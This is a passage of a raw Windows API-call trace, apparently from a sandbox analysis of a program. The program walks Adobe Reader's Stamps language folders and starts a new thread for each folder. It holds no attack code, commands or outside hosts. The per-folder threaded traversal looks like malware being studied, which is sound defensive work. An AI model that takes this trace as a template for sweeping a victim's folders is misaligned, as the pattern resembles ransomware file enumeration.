Flags=0x8, Size=0xa0) returned 0x9369c0 [0165.027] wcscpy (in: _Dest=0x9369c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.027] wcscat (in: _Dest=0x9369c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.027] wcscat (in: _Dest=0x9369c0, _Source="ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP" [0165.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9369c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0165.030] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0165.030] wcscmp (_String1="EUQ", _String2=".") returned 1 [0165.030] wcscmp (_String1="EUQ", _String2="..") returned 1 [0165.030] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x9365d0 [0165.030] wcscpy (in: _Dest=0x9365d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.030] wcscat (in: _Dest=0x9365d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.030] wcscat (in: _Dest=0x9365d0, _Source="EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ" [0165.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9365d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0165.031] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0165.031] wcscmp (_String1="FRA", _String2=".") returned 1 [0165.031] wcscmp (_String1="FRA", _String2="..") returned 1 [0165.031] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936bb8 [0165.031] wcscpy (in: _Dest=0x936bb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.031] wcscat (in: _Dest=0x936bb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.032] wcscat (in: _Dest=0x936bb8, _Source="FRA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA" [0165.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0165.033] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0165.033] wcscmp (_String1="HRV", _String2=".") returned 1 [0165.033] wcscmp (_String1="HRV", _String2="..") returned 1 [0165.033] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936480 [0165.033] wcscpy (in: _Dest=0x936480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.033] wcscat (in: _Dest=0x936480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.033] wcscat (in: _Dest=0x936480, _Source="HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV" [0165.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0165.034] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0165.034] wcscmp (_String1="HUN", _String2=".") returned 1 [0165.034] wcscmp (_String1="HUN", _String2="..") returned 1 [0165.034] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936678 [0165.034] wcscpy (in: _Dest=0x936678, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.034] wcscat (in: _Dest=0x936678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.034] wcscat (in: _Dest=0x936678, _Source="HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN" [0165.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0165.036] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0165.036] wcscmp (_String1="ITA", _String2=".") returned 1 [0165.036] wcscmp (_String1="ITA", _String2="..") returned 1 [0165.036] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936528 [0165.036] wcscpy (in: _Dest=0x936528, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.036] wcscat (in: _Dest=0x936528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.036] wcscat (in: _Dest=0x936528, _Source="ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA" [0165.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0165.037] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0165.037] wcscmp (_String1="JPN", _String2=".") returned 1 [0165.037] wcscmp (_String1="JPN", _String2="..") returned 1 [0165.037] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x9367c8 [0165.037] wcscpy (in: _Dest=0x9367c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.037] wcscat (in: _Dest=0x9367c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.037] wcscat (in: _Dest=0x9367c8, _Source="JPN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN" [0165.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9367c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0165.038] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0165.038] wcscmp (_String1="KOR", _String2=".") returned 1 [0165.038] wcscmp (_String1="KOR", _String2="..") returned 1 [0165.038] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x9361e0 [0165.038] wcscpy (in: _Dest=0x9361e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.038] wcscat (in: _Dest=0x9361e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.038] wcscat (in: _Dest=0x9361e0, _Source="KOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR" [0165.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9361e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0165.040] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0165.040] wcscmp (_String1="NLD", _String2=".") returned 1 [0165.040] wcscmp (_String1="NLD", _String2="..") returned 1 [0165.040] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935fe8 [0165.040] wcscpy (in: _Dest=0x935fe8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.040] wcscat (in: _Dest=0x935fe8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.040] wcscat (in: _Dest=0x935fe8, _Source="NLD" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD" [0165.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0165.041] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0165.041] wcscmp (_String1="NOR", _String2=".") returned 1 [0165.041] wcscmp (_String1="NOR", _String2="..") returned 1 [0165.041] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936288 [0165.041] wcscpy (in: _Dest=0x936288, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.041] wcscat (in: _Dest=0x936288, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.041] wcscat (in: _Dest=0x936288, _Source="NOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR" [0165.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a4 [0165.043] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0165.043] wcscmp (_String1="POL", _String2=".") returned 1 [0165.043] wcscmp (_String1="POL", _String2="..") returned 1 [0165.043] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936138 [0165.043] wcscpy (in: _Dest=0x936138, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.043] wcscat (in: _Dest=0x936138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.043] wcscat (in: _Dest=0x936138, _Source="POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL" [0165.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0165.044] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0165.044] wcscmp (_String1="PTB", _String2=".") returned 1 [0165.044] wcscmp (_String1="PTB", _String2="..") returned 1 [0165.044] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935d48 [0165.044] wcscpy (in: _Dest=0x935d48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.044] wcscat (in: _Dest=0x935d48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.044] wcscat (in: _Dest=0x935d48, _Source="PTB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB" [0165.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0165.046] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0165.046] wcscmp (_String1="RUM", _String2=".") returned 1 [0165.046] wcscmp (_String1="RUM", _String2="..") returned 1 [0165.046] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935f40 [0165.046] wcscpy (in: _Dest=0x935f40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.046] wcscat (in: _Dest=0x935f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.046] wcscat (in: _Dest=0x935f40, _Source="RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM" [0165.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0165.047] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0165.047] wcscmp (_String1="RUS", _String2=".") returned 1 [0165.047] wcscmp (_String1="RUS", _String2="..") returned 1 [0165.047] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935df0 [0165.047] wcscpy (in: _Dest=0x935df0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.048] wcscat (in: _Dest=0x935df0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.048] wcscat (in: _Dest=0x935df0, _Source="RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS" [0165.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0165.055] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0165.055] wcscmp (_String1="SKY", _String2=".") returned 1 [0165.055] wcscmp (_String1="SKY", _String2="..") returned 1 [0165.055] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935e98 [0165.055] wcscpy (in: _Dest=0x935e98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.055] wcscat (in: _Dest=0x935e98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 